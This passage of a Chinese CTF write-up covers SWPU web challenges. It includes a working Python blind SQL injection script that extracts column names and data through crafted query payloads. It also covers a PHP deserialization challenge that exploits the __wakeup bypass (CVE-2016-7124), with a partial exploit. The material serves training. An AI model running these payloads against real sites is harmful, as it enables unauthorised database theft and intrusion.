</span></span><span class="line"><span class="ln"> 81</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第</span><span class="si">%d</span><span class="s2">个表，有</span><span class="si">%d</span><span class="s2">列&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">num</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">
</span></span><span class="line"><span class="ln"> 88</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[[]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">tb_num</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">        <span class="n">cl_num</span> <span class="o">=</span> <span class="n">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">cl_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="n">cl_len</span> <span class="o">=</span> <span class="n">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">            <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">cl_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;qwertyuiopasdfghjklzxcvbnm_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">                    <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln">108</span><span class="cl">                              <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">                    <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                    <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">                    <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">                        <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">            <span class="n">names</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">
</span></span><span class="line"><span class="ln">116</span><span class="cl">
</span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,</span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1 --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">
</span></span><span class="line"><span class="ln">127</span><span class="cl">
</span></span><span class="line"><span class="ln">128</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">
</span></span><span class="line"><span class="ln">136</span><span class="cl">
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="k">def</span> <span class="nf">get_data</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="n">da</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">    <span class="n">data_num</span> <span class="o">=</span> <span class="n">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">data_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">        <span class="n">d</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">        <span class="n">data_len</span> <span class="o">=</span> <span class="n">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">data_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-</span><span class="si">{}</span><span class="s2">&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">                    <span class="n">d</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">        <span class="n">da</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">da</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">
</span></span><span class="line"><span class="ln">153</span><span class="cl">
</span></span><span class="line"><span class="ln">154</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="n">db_len</span> <span class="o">=</span> <span class="n">get_database_length</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="n">db_name</span> <span class="o">=</span> <span class="n">get_database_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">    <span class="n">tb_num</span> <span class="o">=</span> <span class="n">get_table_number</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">    <span class="n">tb_names</span> <span class="o">=</span> <span class="n">get_table_names</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">    <span class="n">get_column_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入表名列名查询数据，以空格间隔：&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">        <span class="n">get_data</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/077813/swpu_error_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1150" height="316"
/>
</p>
<p>因为单线程所以有点慢，写脚本是为了练</p>
<p>sqlmap神器</p>
<p><img
  src="/077813/swpu_error_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1314" height="625"
/>
</p>
<h3 id="no_wakeup">no_wakeup<a class="anchor" href="#no_wakeup">#</a></h3>
<p><img
  src="/077813/swpu_no_wakeup.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="490" height="364"
/>
</p>
<p>可爱</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Content-type:text/html;charset=utf-8&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;class.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;wllm&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="k">echo</span> <span class="s2">&#34;No wake up&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="nv">$Letmeseesee</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$Letmeseesee</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>与上一题反序列化的区别就是，反序列化时会自动调用<code>__wakeup()</code>，这道题当时想了很久，因为原本我的思路是wakeup调用之后再覆盖属性值，但是这个wakeup好像一直执行的样子，覆盖还是过不了，所以另一种思路，跳过<code>__wakeup()</code>,这是漏洞<code>CVE-2016-7124</code></p>
<blockquote>
<p><strong>当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行</strong></p>
</blockquote>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
